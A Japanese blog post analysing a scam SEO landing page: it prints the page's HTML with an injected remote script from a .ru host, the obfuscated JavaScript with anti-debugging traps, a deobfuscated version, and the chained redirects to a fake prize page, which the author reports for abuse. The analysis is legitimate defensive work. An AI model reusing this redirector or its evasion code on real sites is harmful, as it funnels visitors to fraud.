詐欺ランディングページを調べた

はじめに

こんにちは、morimolymolyです。
最近、Googleの検索に詐欺ランディングページが引っかかることが多くないですか?
悪質な広告によるものや、そもそもランディング用のページを作っているものなど様々ですが、今回はたまたまみつけたランディング専門につくられたページをご紹介いたします。

ランディングページ

とある個人名で調べていると引っかかったこちらのページ。 個人名をふせたソースがこちら。 2ch(5ch)のIDっぽいのがみえるし、わけわからないページ内容だし、こんな画像を唐突に貼っているし、あきらかに適当に作ったものであることは明らか。

f:id:morimolymoly:20201110200927j:plain
へんなの

個人名をふせたものがこちら。 2ch(5ch)のIDっぽいのがみえる。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>XXXX | XXXXのプロフィール情報</title>
<meta name="keywords" content="XXXX">
<meta name="robots" content="index,follow">
<meta name="description" content="69 ID:61xN1dju0.">
<script type="application/ld+json">
{
    "@context": "https://schema.org/",
    "@type": "Product",
    "name": "XXXX",
    "description": "net 熱くないかといえば家で食べる行楽弁当wのときも 炊きたてご飯をお釜から素手でひっくり返して容器に移していたよね。 88 ID:rj2BuIBf0.",
    "aggregateRating": {
        "@type": "AggregateRating",
        "ratingValue": "5,5",
        "bestRating": "10",
        "worstRating": "1",
        "ratingCount": "1883"
    }
}
</script>
</head>
<body>
<script src="http://tr.stoneshards.ru/trd" type="text/javascript"></script>
    <h1XXXX</h1>
    <div class="news">
        <h2>XXXXのプロフィール情報</h2>
        <img src='https://puui.qpic.cn/qqvideo_ori/0/j0510pkigvq_496_280/0' alt='XXXX' title='XXXX' style='width:200px' />
        <p>XXX</p>
        <a href="http://brokerportal.extraenergy.com/secoqet91994.html">次の</a>
    </div>
    <div class="news">
        <h2>XXXX</h2>
        <img src='http://n.sinaimg.cn/sinacn20111/85/w1080h605/20190911/480c-iekuaqt8387646.jpg' alt='XXXX' title='XXXX' style='width:200px' />
        <p>XXX</p>
        <a href="http://brokerportal.extraenergy.com/bewolev50090.html">次の</a>
    </div>
    <div class="news">
        <h2>XXXX</h2>
        <img src='https://芸能人の実家住所まとめ.com/wp-content/uploads/2017/06/Screenshot-2017-06-09_15-27-07.png' alt='XXXX' title='XXXX' style='width:200px' />
        <p>XXXX</p>
        <a href="http://brokerportal.extraenergy.com/nulizumax66573.html">次の</a>
    </div>
</body>
</html>

問題は、bodyにいきなり現れる <script src="http://tr.stoneshards.ru/trd" type="text/javascript"></script> ですね。
これが詐欺ページへと誘うJSファイルです。

謎のJSファイル

ダウンロードしてみるとゴリゴリに難読化されていました。

var _0x2bd6=['while\x20(true)\x20{}',';\x20domain=','title','gger','warn','bind','\x20|\x20','stateObject','referrer','searchers','\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','error','return\x20/\x22\x20+\x20this\x20+\x20\x22/','constructor',';\x20expires=','length','(?:;\x20)?','href','opos','input','prototype','__proto__','cookie','debu','log','toGMTString','counter','split','return\x20(function()\x20','^([^\x20]+(\x20+[^\x20]+)+)+[^\x20]}','https://td.14-8000.ru/trds','console','test','sp_redirect','info','toString','chain','exception','trace','table','apply','com2','call','init',';\x20path=','string',';\x20secure','location'];(function(_0x4f8aab,_0x2bd6bd){var _0x533ff7=function(_0x20520a){while(--_0x20520a){_0x4f8aab['push'](_0x4f8aab['shift']());}},_0x3e47dd=function(){var _0x9f327={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x451275,_0x24e4a7,_0x10846a,_0x331757){_0x331757=_0x331757||{};var _0x2a7fe3=_0x24e4a7+'='+_0x10846a,_0xa1a7e5=0x0;for(var _0x3a20b0=0x0,_0x48658e=_0x451275['length'];_0x3a20b0<_0x48658e;_0x3a20b0++){var _0x1595bd=_0x451275[_0x3a20b0];_0x2a7fe3+=';\x20'+_0x1595bd;var _0x572efc=_0x451275[_0x1595bd];_0x451275['push'](_0x572efc),_0x48658e=_0x451275['length'],_0x572efc!==!![]&&(_0x2a7fe3+='='+_0x572efc);}_0x331757['cookie']=_0x2a7fe3;},'removeCookie':function(){return'dev';},'getCookie':function(_0x106069,_0x97b9b6){_0x106069=_0x106069||function(_0x3a8690){return _0x3a8690;};var _0x215e2b=_0x106069(new RegExp('(?:^|;\x20)'+_0x97b9b6['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)')),_0x5a4edb=function(_0x118eb1,_0x169150){_0x118eb1(++_0x169150);};return _0x5a4edb(_0x533ff7,_0x2bd6bd),_0x215e2b?decodeURIComponent(_0x215e2b[0x1]):undefined;}},_0x7d7da3=function(){var _0x41712b=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x41712b['test'](_0x9f327['removeCookie']['toString']());};_0x9f327['updateCookie']=_0x7d7da3;var _0x3c7abf='';var _0x55b47e=_0x9f327['updateCookie']();if(!_0x55b47e)_0x9f327['setCookie'](['*'],'counter',0x1);else _0x55b47e?_0x3c7abf=_0x9f327['getCookie'](null,'counter'):_0x9f327['removeCookie']();};_0x3e47dd();}(_0x2bd6,0xbb));var _0x533f=function(_0x4f8aab,_0x2bd6bd){_0x4f8aab=_0x4f8aab-0x0;var _0x533ff7=_0x2bd6[_0x4f8aab];return _0x533ff7;};var _0x1a9a42=_0x533f,_0xa1a7e5=function(){var _0x215e2b=!![];return function(_0x5a4edb,_0x3a8690){var _0x118eb1=_0x215e2b?function(){if(_0x3a8690){var _0x169150=_0x3a8690['apply'](_0x5a4edb,arguments);return _0x3a8690=null,_0x169150;}}:function(){};return _0x215e2b=![],_0x118eb1;};}(),_0x3a20b0=_0xa1a7e5(this,function(){var _0x41712b=function(){var _0x46c781=_0x533f,_0x15cce8=_0x41712b[_0x46c781('0x12')](_0x46c781('0x11'))()[_0x46c781('0x12')](_0x46c781('0x22'));return!_0x15cce8[_0x46c781('0x25')](_0x3a20b0);};return _0x41712b();});_0x3a20b0();var _0x48658e=function(){var _0x3ad38d=!![];return function(_0x5204af,_0x23ef45){var _0x417eae=_0x3ad38d?function(){var _0x134c07=_0x533f;if(_0x23ef45){var _0x2feac4=_0x23ef45[_0x134c07('0x2d')](_0x5204af,arguments);return _0x23ef45=null,_0x2feac4;}}:function(){};return _0x3ad38d=![],_0x417eae;};}();(function(){_0x48658e(this,function(){var _0x4d943f=_0x533f,_0x3d8160=new RegExp('function\x20*\x5c(\x20*\x5c)'),_0x2e2cd9=new RegExp(_0x4d943f('0xf'),'i'),_0x54e22d=_0x97b9b6(_0x4d943f('0x0'));!_0x3d8160[_0x4d943f('0x25')](_0x54e22d+_0x4d943f('0x29'))||!_0x2e2cd9[_0x4d943f('0x25')](_0x54e22d+_0x4d943f('0x18'))?_0x54e22d('0'):_0x97b9b6();})();}());var _0x1595bd=function(){var _0x583c9d=!![];return function(_0x200841,_0x35abba){var _0x2c7e75=_0x583c9d?function(){var _0x141d51=_0x533f;if(_0x35abba){var _0x3b3e39=_0x35abba[_0x141d51('0x2d')](_0x200841,arguments);return _0x35abba=null,_0x3b3e39;}}:function(){};return _0x583c9d=![],_0x2c7e75;};}(),_0x572efc=_0x1595bd(this,function(){var _0x1a126a=_0x533f,_0x3172f1;try{var _0x23762c=Function(_0x1a126a('0x21')+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x3172f1=_0x23762c();}catch(_0x564021){_0x3172f1=window;}var _0x52dac9=_0x3172f1[_0x1a126a('0x24')]=_0x3172f1[_0x1a126a('0x24')]||{},_0x3b4f75=[_0x1a126a('0x1d'),_0x1a126a('0x9'),_0x1a126a('0x27'),_0x1a126a('0x10'),_0x1a126a('0x2a'),_0x1a126a('0x2c'),_0x1a126a('0x2b')];for(var _0xd54340=0x0;_0xd54340<_0x3b4f75[_0x1a126a('0x14')];_0xd54340++){var _0x26af81=_0x1595bd[_0x1a126a('0x12')][_0x1a126a('0x19')][_0x1a126a('0xa')](_0x1595bd),_0x206cec=_0x3b4f75[_0xd54340],_0x543e51=_0x52dac9[_0x206cec]||_0x26af81;_0x26af81[_0x1a126a('0x1a')]=_0x1595bd[_0x1a126a('0xa')](_0x1595bd),_0x26af81[_0x1a126a('0x28')]=_0x543e51[_0x1a126a('0x28')][_0x1a126a('0xa')](_0x543e51),_0x52dac9[_0x206cec]=_0x26af81;}});_0x572efc();class _0x106069{static['com2'](){var _0x40f03c=_0x533f,_0x1c6a09=document[_0x40f03c('0x7')][_0x40f03c('0x20')]('\x20-\x20'),_0x3fdf81=_0x1c6a09[0x0][_0x40f03c('0x20')](_0x40f03c('0xb'));function _0x405c95(_0x2029e2,_0x540834,_0x3dccd5,_0x89ce19,_0x631308,_0x449b7d){var _0x3bb735=_0x40f03c;if(!_0x2029e2||!_0x540834)return![];var _0x3f2886=_0x2029e2+'='+encodeURIComponent(_0x540834);if(_0x3dccd5)_0x3f2886+=_0x3bb735('0x13')+_0x3dccd5[_0x3bb735('0x1e')]();if(_0x89ce19)_0x3f2886+=_0x3bb735('0x1')+_0x89ce19;if(_0x631308)_0x3f2886+=_0x3bb735('0x6')+_0x631308;if(_0x449b7d)_0x3f2886+=_0x3bb735('0x3');return document['cookie']=_0x3f2886,!![];}function _0x9a3d3a(_0x154333){var _0x45158d=_0x40f03c,_0x45a09c=_0x45158d('0x15')+_0x154333+'=([^;]*);?',_0x5b19fb=new RegExp(_0x45a09c);if(_0x5b19fb[_0x45158d('0x25')](document[_0x45158d('0x1b')]))return decodeURIComponent(RegExp['$1']);return![];}function _0x522d70(_0xa94789,_0x216601,_0x5dac6c){return _0x405c95(_0xa94789,null,new Date(0x0),_0x216601,_0x5dac6c),!![];}var _0x27c7bf={};_0x27c7bf[_0x40f03c('0xe')]=[[/google\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/search\.yahoo\./i,/(\?|&)p=(.*?)(&|$)/i,0x2],[/bing\.com/i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/search\.aol\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/ask\.com/i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/altavista\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/search\.lycos\./i,/(\?|&)query=(.*?)(&|$)/i,0x2],[/alltheweb\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/yandex\./i,/(\?|&)text=(.*?)(&|$)/i,0x2],[/(nova\.|search\.)?rambler\./i,/(\?|&)query=(.*?)(&|$)/i,0x2],[/gogo\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/go\.mail\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/nigma\./i,/(\?|&)s=(.*?)(&|$)/i,0x2]],_0x27c7bf[_0x40f03c('0x26')]=function(_0x1455a3){var _0x487237=_0x40f03c,_0x4fb038=null;for(var _0xb7599e=0x0;_0xb7599e<_0x27c7bf[_0x487237('0xe')][_0x487237('0x14')];_0xb7599e++){var _0x24d47b=_0x27c7bf[_0x487237('0xe')][_0xb7599e];if(_0x1455a3['match'](_0x24d47b[0x0])||_0x9a3d3a('opos')=='1'){_0x405c95(_0x487237('0x17'),'1'),document[_0x487237('0x4')][_0x487237('0x16')]=_0x487237('0x23');break;}}},_0x27c7bf[_0x40f03c('0x26')](document[_0x40f03c('0xd')]);}}_0x106069[_0x1a9a42('0x2e')]();function _0x97b9b6(_0x40f01a){function _0x3b6238(_0x2cc325){var _0xa56e17=_0x533f;if(typeof _0x2cc325===_0xa56e17('0x2'))return function(_0x2626d7){}['constructor'](_0xa56e17('0x5'))[_0xa56e17('0x2d')](_0xa56e17('0x1f'));else(''+_0x2cc325/_0x2cc325)[_0xa56e17('0x14')]!==0x1||_0x2cc325%0x14===0x0?function(){return!![];}[_0xa56e17('0x12')](_0xa56e17('0x1c')+_0xa56e17('0x8'))[_0xa56e17('0x2f')]('action'):function(){return![];}[_0xa56e17('0x12')](_0xa56e17('0x1c')+_0xa56e17('0x8'))[_0xa56e17('0x2d')](_0xa56e17('0xc'));_0x3b6238(++_0x2cc325);}try{if(_0x40f01a)return _0x3b6238;else _0x3b6238(0x0);}catch(_0x1b90ec){}}

これでは流石に読めないので、難読化をちょっと解除してみた。

'use strict';
var _createClass = function () {
    function defineProperties(target, props) {
        var i = 0;
        for (; i < props.length; i++) {
            var descriptor = props[i];
            descriptor.enumerable = descriptor.enumerable || false;
            descriptor.configurable = true;
            if ("value" in descriptor) {
                descriptor.writable = true;
            }
            Object.defineProperty(target, descriptor.key, descriptor);
        }
    }
    return function (Constructor, protoProps, staticProps) {
        if (protoProps) {
            defineProperties(Constructor.prototype, protoProps);
        }
        if (staticProps) {
            defineProperties(Constructor, staticProps);
        }
        return Constructor;
    };
}();
function _classCallCheck(instance, Constructor) {
    if (!(instance instanceof Constructor)) {
        throw new TypeError("Cannot call a class as a function");
    }
}
var _0x2bd6 = ["while (true) {}", "; domain=", "title", "gger", "warn", "bind", " | ", "stateObject", "referrer", "searchers", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "error", 'return /" + this + "/', "constructor", "; expires=", "length", "(?:; )?", "href", "opos", "input", "prototype", "__proto__", "cookie", "debu", "log", "toGMTString", "counter", "split", "return (function() ", "^([^ ]+( +[^ ]+)+)+[^ ]}", "https://td.14-8000.ru/trds", "console", "test", "sp_redirect", "info", "toString", "chain",
    "exception", "trace", "table", "apply", "com2", "call", "init", "; path=", "string", "; secure", "location"];
(function (data, opts) {
    var uri = function fn(selected_image) {
        for (; --selected_image;) {
            data["push"](data["shift"]());
        }
    };
    var gotoNewOfflinePage = function next() {
        var Cookies = {
            "data": {
                "key": "cookie",
                "value": "timeout"
            },
            "setCookie": function render(list, text, value, header) {
                header = header || {};
                var cookie = text + "=" + value;
                var _0xa1a7e5 = 0;
                var i = 0;
                var key = list["length"];
                for (; i < key; i++) {
                    var domain = list[i];
                    cookie = cookie + ("; " + domain);
                    var value = list[domain];
                    list["push"](value);
                    key = list["length"];
                    if (value !== !![]) {
                        cookie = cookie + ("=" + value);
                    }
                }
                header["cookie"] = cookie;
            },
            "removeCookie": function done() {
                return "dev";
            },
            "getCookie": function get(match, data) {
                match = match || function (letter) {
                    return letter;
                };
                var v = match(new RegExp("(?:^|; )" + data["replace"](/([.$?*|{}()[]\/+^])/g, "$1") + "=([^;]*)"));
                var trim = function direct(subquest, maxRedirects) {
                    subquest(++maxRedirects);
                };
                return trim(uri, opts), v ? decodeURIComponent(v[1]) : undefined;
            }
        };
        var updatedReverseItemControlData = function get() {
            var test = new RegExp("\\w+ *\\(\\) *{\\w+ *['|\"].+['|\"];? *}");
            return test["test"](Cookies["removeCookie"]["toString"]());
        };
        Cookies["updateCookie"] = updatedReverseItemControlData;
        var array = "";
        var _0x55b47e = Cookies["updateCookie"]();
        if (!_0x55b47e) {
            Cookies["setCookie"](["*"], "counter", 1);
        } else {
            if (_0x55b47e) {
                array = Cookies["getCookie"](null, "counter");
            } else {
                Cookies["removeCookie"]();
            }
        }
    };
    gotoNewOfflinePage();
})(_0x2bd6, 187);
var _0x533f = function PocketDropEvent(ballNumber, opt_target) {
    ballNumber = ballNumber - 0;
    var ball = _0x2bd6[ballNumber];
    return ball;
};
var _0x1a9a42 = _0x533f;
var _0xa1a7e5 = function () {
    var y$$ = !![];
    return function (scope, f) {
        var voronoi = y$$ ? function () {
            if (f) {
                var returnVal = f["apply"](scope, arguments);
                return f = null, returnVal;
            }
        } : function () {
        };
        return y$$ = ![], voronoi;
    };
}();
var _0x3a20b0 = _0xa1a7e5(undefined, function () {
    var gotoNewOfflinePage = function config() {
        var B713 = config["constructor"]("return /" + this + "/")()["constructor"]("^([^ ]+( +[^ ]+)+)+[^ ]}");
        return !B713["test"](_0x3a20b0);
    };
    return gotoNewOfflinePage();
});
_0x3a20b0();
var _0x48658e = function () {
    var y$$ = !![];
    return function (scope, f) {
        var voronoi = y$$ ? function () {
            if (f) {
                var returnVal = f["apply"](scope, arguments);
                return f = null, returnVal;
            }
        } : function () {
        };
        return y$$ = ![], voronoi;
    };
}();
(function () {
    _0x48658e(this, function () {
        var par = new RegExp("function *\\( *\\)");
        var test = new RegExp("++ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "i");
        var result = _0x97b9b6("init");
        if (!par["test"](result + "chain") || !test["test"](result + "input")) {
            result("0");
        } else {
            _0x97b9b6();
        }
    })();
})();
var _0x1595bd = function () {
    var y$$ = !![];
    return function (scope, f) {
        var voronoi = y$$ ? function () {
            if (f) {
                var returnVal = f["apply"](scope, arguments);
                return f = null, returnVal;
            }
        } : function () {
        };
        return y$$ = ![], voronoi;
    };
}();
var _0x572efc = _0x1595bd(undefined, function () {
    var global;
    try {
        var evaluate = Function("return (function() " + '{}.constructor("return this")( )' + ");");
        global = evaluate();
    } catch (_0x564021) {
        global = window;
    }
    var db = global["console"] = global["console"] || {};
    var methods = ["log", "warn", "info", "error", "exception", "table", "trace"];
    var i = 0;
    for (; i < methods["length"]; i++) {
        var data = _0x1595bd["constructor"]["constructor"]["bind"](_0x1595bd);
        var name = methods[i];
        var value = db[name] || data;
        data["__proto__"] = _0x1595bd["bind"](_0x1595bd);
        data["toString"] = value["toString"]["bind"](value);
        db[name] = data;
    }
});
_0x572efc();
var _0x106069 = function () {
    function SearchWorkerLoader() {
        _classCallCheck(this, SearchWorkerLoader);
    }
    _createClass(SearchWorkerLoader, null, [{
        key: "com2",
        value: function header() {
            function notify(name, file, timeout, type, stack, tag) {
                if (!name || !file) {
                    return ![];
                }
                var msg = name + "=" + encodeURIComponent(file);
                if (timeout) {
                    msg = msg + ("; expires=" + timeout["toGMTString"]());
                }
                if (type) {
                    msg = msg + ("; path=" + type);
                }
                if (stack) {
                    msg = msg + ("; domain=" + stack);
                }
                if (tag) {
                    msg = msg + "; secure";
                }
                return document["cookie"] = msg, !![];
            }
            function validate(key) {
                var word = "(?:; )?" + key + "=([^;]*);?";
                var test = new RegExp(word);
                if (test["test"](document["cookie"])) {
                    return decodeURIComponent(RegExp["$1"]);
                }
                return ![];
            }
            var names = {};
            names["searchers"] = [[/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i,
                /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]];
            names["sp_redirect"] = function (mAttributes) {
                var i = 0;
                for (; i < names["searchers"]["length"]; i++) {
                    var allow = names["searchers"][i];
                    if (mAttributes["match"](allow[0]) || validate("opos") == "1") {
                        notify("opos", "1");
                        document["location"]["href"] = "https://td.14-8000.ru/trds";
                        break;
                    }
                }
            };
            names["sp_redirect"](document["referrer"]);
        }
    }]);
    return SearchWorkerLoader;
}();
_0x106069["com2"]();
function _0x97b9b6(event) {
    function next(i) {
        if (typeof i === "string") {
            return function (canCreateDiscussions) {
            }["constructor"]("while (true) { }")["apply"]("counter");
        } else {
            if (("" + i / i)["length"] !== 1 || i % 20 === 0) {
                (function () {
                    return !![];
                })["constructor"](";;;;" + ";;;;")["call"]("action");
            } else {
                (function () {
                    return ![];
                })["constructor"](";;;;" + ";;;;")["apply"]("stateObject");
            }
        }
        next(++i);
    }
    try {
        if (event) {
            return next;
        } else {
            next(0);
        }
    } catch (_0x1b90ec) {
    }
}
;

このファイルはDebug検知で解析を妨害する。
難読化解除のときは動的解析するとかなりわかりやすくなるのでまずはそれを解除した。
と言っても全然わからなかったので、適当にあたりをつけた。
どうやらdebugger が配列 _0x2bd6 のなかに入っていて、その文字列が結合されて実行されることがわかった。(debugger命令ですね) それを ;;;;;;;;に書き換え回避。動的解析環境が整った。

このJSファイルの基本的な難読化手法は以下の通りである。

  1. 無駄な変数定義
  2. 無駄な関数定義
  3. 無名関数化してスコープを縮める
  4. わかりにくい記法への変換
  5. 関数や変数名がランダム化
  6. 配列 _0x2bd6を起点とする文字列結合を使用しコードを複雑に

ひとまず6個目をconsoleにせっせと打ち込み解除。 ほかは頑張ってコードを読んでやった。 頑張って難読化を解除しつつ読みすすめると大まかに以下のような動作を行うJSとわかった。

クッキーoposの値が1であるか、指定された検索エンジンからのアクセスである場合、https://td.14-8000[.]ru/trds へとリダイレクトする。

クッキーとリファラ確認はおそらく解析者対策だろう。

リダイレクト先

次に、リダイレクト先https://td.14-8000[.]ru/trds を確認。
先ほどと打って変わって、なんて単純なんだ……
詐欺ページへGO!

<!doctype html>
<html>
<head>
    <script>function onload() {window.location.href='https://prize.wolcens.ru/?u=dmzpte4&o=v4l84xw&cid=trds|'}</script>
</head>
<body onload='onload()'></body>
</html>

詐欺ページ

い つ も の

f:id:morimolymoly:20201110211856p:plain
あほばかまぬけ

ちなみにhttps://prize.wolcens[.]ru/はCloudFlareで守られているそうな(このワタクシからCS:GOのナイフを奪い取ったフィリピンNO1野郎もそういえばCloudFlareで守られていたな)
とりあえず詐欺ページのドメインレジストラにabuse reportしておきました。

おわりに

今回は非常につまらないWEBサイトを調査しました。
運良く見つけたらマルバタイジングされたサイトとかやるかも。

IOCs

参考